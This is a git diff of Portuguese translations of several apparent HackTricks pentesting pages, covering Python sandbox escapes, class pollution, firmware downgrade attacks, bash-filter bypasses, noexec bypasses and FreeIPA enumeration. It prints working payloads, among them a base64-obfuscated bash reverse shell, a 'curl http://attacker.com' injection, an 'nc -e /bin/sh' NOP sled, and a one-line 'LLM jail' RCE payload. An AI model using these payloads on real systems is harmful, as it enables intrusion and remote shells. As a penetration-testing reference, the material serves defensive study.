Verificar os **`globals`** e **`locals`** é uma boa maneira de saber o que você pode acessar.
```python
@ -409,7 +409,7 @@ Aqui quero explicar como descobrir facilmente **funcionalidades mais perigosas c
#### Acessando subclasses com bypasses
Uma das partes mais sensíveis desta técnica é ser capaz de **acessar as subclasses base**. Nos exemplos anteriores, isso foi feito usando `''.__class__.__base__.__subclasses__()`, mas há **outras maneiras possíveis**:
Uma das partes mais sensíveis desta técnica é ser capaz de **acessar as subclasses base**. Nos exemplos anteriores, isso foi feito usando `''.__class__.__base__.__subclasses__()` mas há **outras maneiras possíveis**:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -483,7 +483,7 @@ Podemos fazer a mesma coisa com **outras bibliotecas** que sabemos que podem ser
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Além disso, poderíamos até procurar quais módulos estão carregando bibliotecas maliciosas:
Além disso, poderíamos até pesquisar quais módulos estão carregando bibliotecas maliciosas:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -502,7 +502,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Além disso, se você acha que **outras bibliotecas** podem **invocar funções para executar comandos**, também podemos **filtrar por nomes de funções** dentro das bibliotecas possíveis:
Além disso, se você acha que **outras bibliotecas** podem **invocar funções para executar comandos**, também podemos **filtrar por nomes de funções** dentro das possíveis bibliotecas:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -660,7 +660,7 @@ Você pode verificar a saída deste script nesta página:
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
{{#endref}}
## String de Formato Python
## Python Format String
Se você **enviar** uma **string** para o python que vai ser **formatada**, você pode usar `{}` para acessar **informações internas do python.** Você pode usar os exemplos anteriores para acessar globals ou builtins, por exemplo.
```python
@ -705,7 +705,8 @@ return 'HAL 9000'
**Mais exemplos** sobre **formato** **string** podem ser encontrados em [**https://pyformat.info/**](https://pyformat.info)
> [!CAUTION]
> Verifique também a seguinte página para gadgets que irão r**evelar informações sensíveis de objetos internos do Python**:
> Verifique também a seguinte página para gadgets que irão l**er informações sensíveis de objetos internos do Python**:
{{#ref}}
../python-internal-read-gadgets.md
@ -727,7 +728,7 @@ secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless
```
### Bypass de LLM Jails
### Bypass de Jails LLM
De [aqui](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
@ -737,7 +738,7 @@ De acordo com o [**desafio TypeMonkey deste artigo**](https://corgi.rip/posts/bu
Como lembrete, toda vez que uma ação é realizada em python, alguma função é executada. Por exemplo, `2*3` executará **`(2).mul(3)`** ou **`{'a':'b'}['a']`** será **`{'a':'b'}.__getitem__('a')`**.
Você pode encontrar mais como isso na seção [**Execução de Python sem chamadas**](#python-execution-without-calls).
Você tem mais como isso na seção [**Execução Python sem chamadas**](#python-execution-without-calls).
Uma vulnerabilidade de string de formato em python não permite executar funções (não permite o uso de parênteses), então não é possível obter RCE como `'{0.system("/bin/sh")}'.format(os)`.\
No entanto, é possível usar `[]`. Portanto, se uma biblioteca python comum tiver um método **`__getitem__`** ou **`__getattr__`** que executa código arbitrário, é possível abusar deles para obter RCE.
@ -772,7 +773,7 @@ O desafio na verdade explora outra vulnerabilidade no servidor que permite criar
## Dissecando Objetos Python
> [!NOTE]
> [!TIP]
> Se você quer **aprender** sobre **bytecode python** em profundidade, leia este **incrível** post sobre o tópico: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
Em alguns CTFs, você pode receber o nome de uma **função personalizada onde a flag** reside e você precisa ver os **internos** da **função** para extraí-la.
@ -957,7 +958,7 @@ mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!NOTE]
> [!DICA]
> Dependendo da versão do python, os **parâmetros** de `code_type` podem ter uma **ordem diferente**. A melhor maneira de saber a ordem dos parâmetros na versão do python que você está executando é rodar:
>
> ```
@ -968,7 +969,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
### Recriando uma função vazada
> [!WARNING]
> [!AVISO]
> No exemplo a seguir, vamos pegar todos os dados necessários para recriar a função diretamente do objeto de código da função. Em um **exemplo real**, todos os **valores** para executar a função **`code_type`** é o que **você precisará vazar**.
```python
fc = get_flag.__code__
@ -1012,7 +1013,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Se você não pode acessar `eval` ou `exec`, você poderia criar uma **função adequada**, mas chamá-la diretamente geralmente falhará com: _construtor não acessível em modo restrito_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar essa função.**
Se você não pode acessar `eval` ou `exec`, você pode criar uma **função adequada**, mas chamá-la diretamente geralmente falhará com: _construtor não acessível em modo restrito_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar essa função.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1026,6 +1027,7 @@ Usando ferramentas como [**https://www.decompiler.com/**](https://www.decompiler
**Confira este tutorial**:
{{#ref}}
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
{{#endref}}

8
src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
View File

@ -180,7 +180,9 @@ subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
<details>
<summary>Substituindo
<summary>Substituindo <strong><code>__kwdefaults__</code></strong></summary>
**`__kwdefaults__`** é um atributo especial de todas as funções, baseado na [documentação](https://docs.python.org/3/library/inspect.html) do Python, é um “mapeamento de quaisquer valores padrão para parâmetros **somente de palavra-chave**”. Poluir este atributo nos permite controlar os valores padrão dos parâmetros somente de palavra-chave de uma função, que são os parâmetros da função que vêm após \* ou \*args.
```python
from os import system
import json
@ -221,9 +223,9 @@ execute() #> Executing echo Polluted
<details>
<summary>Substituição do segredo do Flask em arquivos</summary>
<summary>Substituindo o segredo do Flask em arquivos</summary>
Então, se você puder fazer uma poluição de classe sobre um objeto definido no arquivo python principal da web, mas **cuja classe é definida em um arquivo diferente** do principal. Porque, para acessar \_\_globals\_\_ nas cargas úteis anteriores, você precisa acessar a classe do objeto ou métodos da classe, você poderá **acessar os globais naquele arquivo, mas não no principal**. \
Então, se você puder fazer uma poluição de classe sobre um objeto definido no arquivo python principal da web, mas **cuja classe está definida em um arquivo diferente** do principal. Porque, para acessar \_\_globals\_\_ nos payloads anteriores, você precisa acessar a classe do objeto ou métodos da classe, você poderá **acessar os globals naquele arquivo, mas não no principal**. \
Portanto, você **não poderá acessar o objeto global do app Flask** que definiu a **chave secreta** na página principal:
```python
app = Flask(__name__, template_folder='templates')

22
src/hardware-physical-access/firmware-analysis/README.md
View File

@ -29,7 +29,7 @@ Para esse propósito, ferramentas de **inteligência de código aberto (OSINT)**
## **Adquirindo o Firmware**
Obter firmware pode ser abordado por vários meios, cada um com seu próprio nível de complexidade:
Obter firmware pode ser abordado de várias maneiras, cada uma com seu próprio nível de complexidade:
- **Diretamente** da fonte (desenvolvedores, fabricantes)
- **Construindo** a partir de instruções fornecidas
@ -45,7 +45,7 @@ Obter firmware pode ser abordado por vários meios, cada um com seu próprio ní
## Analisando o firmware
Agora que você **tem o firmware**, você precisa extrair informações sobre ele para saber como tratá-lo. Diferentes ferramentas que você pode usar para isso:
Agora que você **tem o firmware**, precisa extrair informações sobre ele para saber como tratá-lo. Diferentes ferramentas que você pode usar para isso:
```bash
file <bin>
strings -n8 <bin>
@ -67,11 +67,11 @@ Ou [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive
### Obtendo o Sistema de Arquivos
Com as ferramentas comentadas anteriormente, como `binwalk -ev <bin>`, você deve ter conseguido **extrair o sistema de arquivos**.\
O binwalk geralmente o extrai dentro de uma **pasta nomeada como o tipo de sistema de arquivos**, que geralmente é um dos seguintes: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
O Binwalk geralmente o extrai dentro de uma **pasta nomeada como o tipo de sistema de arquivos**, que geralmente é um dos seguintes: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Extração Manual do Sistema de Arquivos
Às vezes, o binwalk **não terá o byte mágico do sistema de arquivos em suas assinaturas**. Nesses casos, use o binwalk para **encontrar o deslocamento do sistema de arquivos e extrair o sistema de arquivos comprimido** do binário e **extrair manualmente** o sistema de arquivos de acordo com seu tipo usando os passos abaixo.
Às vezes, o binwalk **não terá o byte mágico do sistema de arquivos em suas assinaturas**. Nesses casos, use o binwalk para **encontrar o deslocamento do sistema de arquivos e esculpir o sistema de arquivos comprimido** do binário e **extrair manualmente** o sistema de arquivos de acordo com seu tipo usando os passos abaixo.
```
$ binwalk DIR850L_REVB.bin
@ -138,7 +138,7 @@ Para extrair **arquivos incorporados**, ferramentas e recursos como a documenta
### Extraindo o Sistema de Arquivos
Usando `binwalk -ev <bin>`, geralmente é possível extrair o sistema de arquivos, frequentemente em um diretório nomeado de acordo com o tipo de sistema de arquivos (por exemplo, squashfs, ubifs). No entanto, quando **binwalk** não consegue reconhecer o tipo de sistema de arquivos devido à falta de bytes mágicos, a extração manual é necessária. Isso envolve usar `binwalk` para localizar o deslocamento do sistema de arquivos, seguido pelo comando `dd` para extrair o sistema de arquivos:
Usando `binwalk -ev <bin>`, geralmente é possível extrair o sistema de arquivos, frequentemente em um diretório nomeado de acordo com o tipo de sistema de arquivos (por exemplo, squashfs, ubifs). No entanto, quando **binwalk** não consegue reconhecer o tipo de sistema de arquivos devido à falta de bytes mágicos, a extração manual é necessária. Isso envolve usar `binwalk` para localizar o deslocamento do sistema de arquivos, seguido do comando `dd` para extrair o sistema de arquivos:
```bash
$ binwalk DIR850L_REVB.bin
@ -170,7 +170,7 @@ Tanto o código-fonte quanto os binários compilados encontrados no sistema de a
## Emulando Firmware para Análise Dinâmica
O processo de emular firmware permite a **análise dinâmica** tanto da operação de um dispositivo quanto de um programa individual. Essa abordagem pode enfrentar desafios com dependências de hardware ou arquitetura, mas transferir o sistema de arquivos raiz ou binários específicos para um dispositivo com arquitetura e endianness correspondentes, como um Raspberry Pi, ou para uma máquina virtual pré-construída, pode facilitar testes adicionais.
O processo de emular firmware permite a **análise dinâmica** tanto da operação de um dispositivo quanto de um programa individual. Essa abordagem pode enfrentar desafios com dependências de hardware ou arquitetura, mas transferir o sistema de arquivos raiz ou binários específicos para um dispositivo com arquitetura e endianness compatíveis, como um Raspberry Pi, ou para uma máquina virtual pré-construída, pode facilitar testes adicionais.
### Emulando Binários Individuais
@ -194,15 +194,15 @@ Para binários ARM, o processo é semelhante, com o emulador `qemu-arm` sendo ut
### Emulação de Sistema Completo
Ferramentas como [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) e outras, facilitam a emulação completa de firmware, automatizando o processo e ajudando na análise dinâmica.
Ferramentas como [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) e outras, facilitam a emulação completa de firmware, automatizando o processo e auxiliando na análise dinâmica.
## Análise Dinâmica na Prática
Nesta fase, um ambiente de dispositivo real ou emulado é usado para análise. É essencial manter acesso ao shell do sistema operacional e ao sistema de arquivos. A emulação pode não imitar perfeitamente as interações de hardware, necessitando de reinicializações ocasionais da emulação. A análise deve revisitar o sistema de arquivos, explorar páginas da web expostas e serviços de rede, e investigar vulnerabilidades do bootloader. Testes de integridade do firmware são críticos para identificar potenciais vulnerabilidades de backdoor.
Nesta fase, um ambiente de dispositivo real ou emulado é usado para análise. É essencial manter acesso ao shell do sistema operacional e ao sistema de arquivos. A emulação pode não imitar perfeitamente as interações de hardware, necessitando reinicializações ocasionais da emulação. A análise deve revisitar o sistema de arquivos, explorar páginas da web expostas e serviços de rede, e investigar vulnerabilidades do bootloader. Testes de integridade do firmware são críticos para identificar potenciais vulnerabilidades de backdoor.
## Técnicas de Análise em Tempo de Execução
A análise em tempo de execução envolve interagir com um processo ou binário em seu ambiente operacional, usando ferramentas como gdb-multiarch, Frida e Ghidra para definir pontos de interrupção e identificar vulnerabilidades por meio de fuzzing e outras técnicas.
A análise em tempo de execução envolve interagir com um processo ou binário em seu ambiente operacional, usando ferramentas como gdb-multiarch, Frida e Ghidra para definir pontos de interrupção e identificar vulnerabilidades através de fuzzing e outras técnicas.
## Exploração Binária e Prova de Conceito
@ -227,7 +227,7 @@ Fluxo de ataque típico:
* Pegue-a do portal de download público do fornecedor, CDN ou site de suporte.
* Extraia-a de aplicativos móveis/escrita acompanhantes (por exemplo, dentro de um APK Android em `assets/firmware/`).
* Recupere-a de repositórios de terceiros, como VirusTotal, arquivos da Internet, fóruns, etc.
2. **Carregar ou servir a imagem para o dispositivo** via qualquer canal de atualização exposto:
2. **Carregar ou servir a imagem para o dispositivo** através de qualquer canal de atualização exposto:
* UI da Web, API de aplicativo móvel, USB, TFTP, MQTT, etc.
* Muitos dispositivos IoT de consumo expõem endpoints HTTP(S) *não autenticados* que aceitam blobs de firmware codificados em Base64, decodificam-nos no lado do servidor e acionam a recuperação/atualização.
3. Após o downgrade, explore uma vulnerabilidade que foi corrigida na versão mais nova (por exemplo, um filtro de injeção de comando que foi adicionado posteriormente).
@ -240,7 +240,7 @@ Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0
```
No firmware vulnerável (rebaixado), o parâmetro `md5` é concatenado diretamente em um comando de shell sem sanitização, permitindo a injeção de comandos arbitrários (aqui – habilitando o acesso root baseado em chave SSH). Versões posteriores do firmware introduziram um filtro básico de caracteres, mas a ausência de proteção contra rebaixamento torna a correção irrelevante.
No firmware vulnerável (rebaixado), o parâmetro `md5` é concatenado diretamente em um comando shell sem sanitização, permitindo a injeção de comandos arbitrários (aqui – habilitando o acesso root baseado em chave SSH). Versões de firmware posteriores introduziram um filtro básico de caracteres, mas a ausência de proteção contra rebaixamento torna a correção irrelevante.
### Extraindo Firmware de Aplicativos Móveis

18
src/linux-hardening/bypass-bash-restrictions/README.md
View File

@ -4,13 +4,13 @@
## Bypasses de Limitações Comuns
### Reverse Shell
### Shell Reversa
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Rev shell curto
### Shell Rev curta
```bash
#Trick from Dikline
#Get a rev shell with
@ -133,14 +133,14 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Obtendo caracteres de Variáveis de Ambiente
### Obtendo caracteres de variáveis de ambiente
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
### Exfiltração de dados DNS
Você pode usar **burpcollab** ou [**pingb**](http://pingb.in) por exemplo.
Você pode usar **burpcollab** ou [**pingb**](http://pingb.in) como exemplo.
### Builtins
@ -202,7 +202,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Bypass potencial regexes
### Bypass de regexes potenciais
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
@ -298,19 +298,21 @@ ln /f*
Se você estiver dentro de um sistema de arquivos com as **proteções de somente leitura e noexec** ou até mesmo em um contêiner distroless, ainda há maneiras de **executar binários arbitrários, até mesmo um shell!:**
{{#ref}}
bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}
## Bypass de Chroot e outras Jails
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
{{#endref}}
## NOP Sled Baseado em Espaço ("Bashsledding")
Quando uma vulnerabilidade permite que você controle parcialmente um argumento que, em última análise, chega a `system()` ou outro shell, você pode não saber o deslocamento exato em que a execução começa a ler sua carga útil. Sleds NOP tradicionais (por exemplo, `\x90`) **não** funcionam na sintaxe do shell, mas o Bash ignorará inofensivamente espaços em branco à frente antes de executar um comando.
Quando uma vulnerabilidade permite que você controle parcialmente um argumento que, em última instância, chega a `system()` ou outro shell, você pode não saber o deslocamento exato em que a execução começa a ler sua carga útil. Sleds NOP tradicionais (por exemplo, `\x90`) **não** funcionam na sintaxe do shell, mas o Bash ignorará inofensivamente espaços em branco à frente antes de executar um comando.
Portanto, você pode criar um *NOP sled para Bash* prefixando seu comando real com uma longa sequência de espaços ou caracteres de tabulação:
```bash
@ -318,7 +320,7 @@ Portanto, você pode criar um *NOP sled para Bash* prefixando seu comando real c
" nc -e /bin/sh 10.0.0.1 4444"
# 16× spaces ───┘ ↑ real command
```
Se uma cadeia ROP (ou qualquer primitiva de corrupção de memória) pousar o ponteiro de instrução em qualquer lugar dentro do bloco de espaço, o parser do Bash simplesmente ignora os espaços em branco até alcançar `nc`, executando seu comando de forma confiável.
Se uma cadeia ROP (ou qualquer primitiva de corrupção de memória) pousar o ponteiro de instrução em qualquer lugar dentro do bloco de espaço, o analisador Bash simplesmente ignora os espaços em branco até alcançar `nc`, executando seu comando de forma confiável.
Casos de uso práticos:
@ -333,7 +335,7 @@ Casos de uso práticos:
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)

27
src/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Vídeos
## Videos
Nos vídeos a seguir, você pode encontrar as técnicas mencionadas nesta página explicadas com mais profundidade:
@ -26,35 +26,35 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
No entanto, mesmo que o sistema de arquivos esteja montado como ro, **`/dev/shm`** ainda será gravável, então é falso que não podemos escrever nada no disco. No entanto, esta pasta será **montada com proteção no-exec**, então se você baixar um binário aqui você **não poderá executá-lo**.
No entanto, mesmo que o sistema de arquivos esteja montado como ro, **`/dev/shm`** ainda será gravável, então é falso que não podemos escrever nada no disco. No entanto, esta pasta será **montada com proteção no-exec**, então se você baixar um binário aqui, você **não poderá executá-lo**.
> [!WARNING]
> Do ponto de vista de uma equipe vermelha, isso torna **complicado baixar e executar** binários que não estão no sistema (como backdoors ou enumeradores como `kubectl`).
## Bypass mais fácil: Scripts
## Easiest bypass: Scripts
Note que mencionei binários, você pode **executar qualquer script** desde que o interpretador esteja dentro da máquina, como um **script shell** se `sh` estiver presente ou um **script python** se `python` estiver instalado.
No entanto, isso não é suficiente para executar seu backdoor binário ou outras ferramentas binárias que você possa precisar rodar.
## Bypasses de Memória
## Memory Bypasses
Se você quiser executar um binário, mas o sistema de arquivos não está permitindo isso, a melhor maneira de fazê-lo é **executando-o da memória**, já que as **proteções não se aplicam lá**.
Se você quiser executar um binário, mas o sistema de arquivos não permitir isso, a melhor maneira de fazê-lo é **executando-o da memória**, já que as **proteções não se aplicam lá**.
### Bypass de FD + syscall exec
### FD + exec syscall bypass
Se você tiver alguns poderosos motores de script dentro da máquina, como **Python**, **Perl** ou **Ruby**, você poderia baixar o binário para executar da memória, armazená-lo em um descritor de arquivo de memória (`create_memfd` syscall), que não será protegido por essas proteções e então chamar uma **syscall `exec`** indicando o **fd como o arquivo a ser executado**.
Se você tiver alguns poderosos motores de script dentro da máquina, como **Python**, **Perl** ou **Ruby**, você poderia baixar o binário para executar da memória, armazená-lo em um descritor de arquivo de memória (`create_memfd` syscall), que não será protegido por essas proteções e então chamar uma **`exec` syscall** indicando o **fd como o arquivo a ser executado**.
Para isso, você pode facilmente usar o projeto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Você pode passar um binário e ele gerará um script na linguagem indicada com o **binário comprimido e codificado em b64** com as instruções para **decodificá-lo e descomprimí-lo** em um **fd** criado chamando a syscall `create_memfd` e uma chamada para a syscall **exec** para executá-lo.
> [!WARNING]
> Isso não funciona em outras linguagens de script como PHP ou Node porque elas não têm nenhuma **maneira padrão de chamar syscalls brutas** a partir de um script, então não é possível chamar `create_memfd` para criar o **fd de memória** para armazenar o binário.
> Isso não funciona em outras linguagens de script como PHP ou Node porque elas não têm nenhuma **maneira padrão de chamar syscalls brutas** a partir de um script, então não é possível chamar `create_memfd` para criar o **memory fd** para armazenar o binário.
>
> Além disso, criar um **fd regular** com um arquivo em `/dev/shm` não funcionará, pois você não poderá executá-lo porque a **proteção no-exec** se aplicará.
### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) é uma técnica que permite **modificar a memória do seu próprio processo** sobrescrevendo seu **`/proc/self/mem`**.
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) é uma técnica que permite que você **modifique a memória do seu próprio processo** sobrescrevendo seu **`/proc/self/mem`**.
Portanto, **controlando o código de montagem** que está sendo executado pelo processo, você pode escrever um **shellcode** e "mutar" o processo para **executar qualquer código arbitrário**.
@ -88,24 +88,23 @@ Contêineres distroless contêm apenas os **componentes mínimos necessários pa
O objetivo dos contêineres distroless é **reduzir a superfície de ataque dos contêineres eliminando componentes desnecessários** e minimizando o número de vulnerabilidades que podem ser exploradas.
### Shell Reverso
### Reverse Shell
Em um contêiner distroless, você pode **não encontrar nem `sh` nem `bash`** para obter um shell regular. Você também não encontrará binários como `ls`, `whoami`, `id`... tudo que você normalmente executa em um sistema.
> [!WARNING]
> Portanto, você **não** será capaz de obter um **shell reverso** ou **enumerar** o sistema como costuma fazer.
> Portanto, você **não** será capaz de obter um **reverse shell** ou **enumerar** o sistema como costuma fazer.
No entanto, se o contêiner comprometido estiver executando, por exemplo, um flask web, então o python está instalado, e portanto você pode obter um **shell reverso Python**. Se estiver executando node, você pode obter um shell rev Node, e o mesmo com praticamente qualquer **linguagem de script**.
No entanto, se o contêiner comprometido estiver executando, por exemplo, um flask web, então o python está instalado, e portanto você pode obter um **reverse shell Python**. Se estiver executando node, você pode obter um shell reverso Node, e o mesmo com praticamente qualquer **linguagem de script**.
> [!TIP]
> Usando a linguagem de script, você poderia **enumerar o sistema** usando as capacidades da linguagem.
Se não houver proteções **`read-only/no-exec`**, você poderia abusar do seu shell reverso para **escrever no sistema de arquivos seus binários** e **executá-los**.
Se não houver proteções **`read-only/no-exec`**, você poderia abusar do seu reverse shell para **escrever no sistema de arquivos seus binários** e **executá-los**.
> [!TIP]
> No entanto, neste tipo de contêiner, essas proteções geralmente existirão, mas você poderia usar as **técnicas de execução em memória anteriores para contorná-las**.
Você pode encontrar **exemplos** de como **explorar algumas vulnerabilidades RCE** para obter shells reversos de linguagens de script e executar binários da memória em [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
{{#include ../../../banners/hacktricks-training.md}}

18
src/linux-hardening/freeipa-pentesting.md
View File

@ -4,20 +4,20 @@
## Informações Básicas
FreeIPA é uma **alternativa** de código aberto ao **Active Directory** da Microsoft, principalmente para ambientes **Unix**. Ele combina um **diretório LDAP** completo com um Centro de Distribuição de Chaves **Kerberos** da MIT para gerenciamento semelhante ao Active Directory. Utilizando o **Sistema de Certificados** Dogtag para gerenciamento de certificados CA e RA, suporta autenticação **multifatorial**, incluindo cartões inteligentes. O SSSD está integrado para processos de autenticação Unix.
FreeIPA é uma **alternativa** de código aberto ao **Active Directory** da Microsoft, principalmente para ambientes **Unix**. Ele combina um **diretório LDAP** completo com um Centro de Distribuição de Chaves **Kerberos** da MIT para gerenciamento semelhante ao Active Directory. Utilizando o **Sistema de Certificados** Dogtag para gerenciamento de certificados CA e RA, suporta autenticação **multifatorial**, incluindo smartcards. O SSSD está integrado para processos de autenticação Unix.
## Impressões Digitais
### Arquivos e Variáveis de Ambiente
- O arquivo em `/etc/krb5.conf` é onde as informações do cliente Kerberos, necessárias para o registro no domínio, são armazenadas. Isso inclui locais de KDCs e servidores administrativos, configurações padrão e mapeamentos.
- As configurações padrão para clientes e servidores IPA são definidas no arquivo localizado em `/etc/ipa/default.conf`.
- As configurações padrão do sistema para clientes e servidores IPA estão definidas no arquivo localizado em `/etc/ipa/default.conf`.
- Hosts dentro do domínio devem ter um arquivo `krb5.keytab` em `/etc/krb5.keytab` para processos de autenticação.
- Várias variáveis de ambiente (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) são usadas para apontar para arquivos e configurações específicas relevantes para a autenticação Kerberos.
### Binários
Ferramentas como `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` e `kvno` são centrais para gerenciar domínios FreeIPA, lidando com tickets Kerberos, alterando senhas e adquirindo tickets de serviço, entre outras funcionalidades.
Ferramentas como `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` e `kvno` são essenciais para gerenciar domínios FreeIPA, lidar com tickets Kerberos, alterar senhas e adquirir tickets de serviço, entre outras funcionalidades.
### Rede
@ -54,13 +54,13 @@ privilege-escalation/linux-active-directory.md
### Hosts, Usuários e Grupos <a href="#id-4b3b" id="id-4b3b"></a>
É possível criar **hosts**, **usuários** e **grupos**. Hosts e usuários são organizados em contêineres chamados “**Grupos de Hosts**” e “**Grupos de Usuários**”, respectivamente. Estes são semelhantes às **Unidades Organizacionais** (OU).
É possível criar **hosts**, **usuários** e **grupos**. Hosts e usuários são organizados em contêineres chamados “**Grupos de Hosts**” e “**Grupos de Usuários**”, respectivamente. Estes são semelhantes a **Unidades Organizacionais** (OU).
Por padrão no FreeIPA, o servidor LDAP permite **vínculos anônimos**, e uma grande quantidade de dados é enumerável **não autenticada**. Isso pode enumerar todos os dados disponíveis não autenticados:
```
ldapsearch -x
```
Para obter **mais informações**, você precisa usar uma sessão **autenticada** (verifique a seção de Autenticação para aprender como preparar uma sessão autenticada).
Para obter **mais informações**, você precisa usar uma sessão **autenticada** (ver a seção de Autenticação para aprender como preparar uma sessão autenticada).
```bash
# Get all users of domain
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
@ -74,7 +74,7 @@ ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
# Get hosts groups
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
```
De uma máquina unida ao domínio, você poderá usar **binários instalados** para enumerar o domínio:
De uma máquina unida ao domínio, você poderá usar **binaries instalados** para enumerar o domínio:
```bash
ipa user-find
ipa usergroup-find
@ -88,14 +88,14 @@ ipa usergroup-show <user group> --all
ipa host-find <host> --all
ipa hostgroup-show <host group> --all
```
> [!NOTE]
> [!TIP]
> O usuário **admin** do **FreeIPA** é o equivalente aos **administradores de domínio** do **AD**.
### Hashes <a href="#id-482b" id="id-482b"></a>
O usuário **root** do servidor **IPA** tem acesso aos **hashes** de senha.
- O hash de senha de um usuário é armazenado como **base64** no atributo “**userPassword**”. Esse hash pode ser **SSHA512** (versões antigas do FreeIPA) ou **PBKDF2_SHA256**.
- O hash de senha de um usuário é armazenado como **base64** no atributo “**userPassword**”. Este hash pode ser **SSHA512** (versões antigas do FreeIPA) ou **PBKDF2_SHA256**.
- O **Nthash** da senha é armazenado como **base64** em “**ipaNTHash**” se o sistema tiver **integração** com **AD**.
Para quebrar esses hashes:
@ -136,7 +136,7 @@ ipa sudorule-show <sudorule> --all
```
### Controle de Acesso Baseado em Funções
Uma **função** é composta por vários **privilégios**, cada um dos quais abrange uma coleção de **permissões**. Essas funções podem ser atribuídas a Usuários, Grupos de Usuários, **Hosts**, Grupos de Hosts e Serviços. Por exemplo, considere a função padrão “Administrador de Usuários” no FreeIPA para exemplificar essa estrutura.
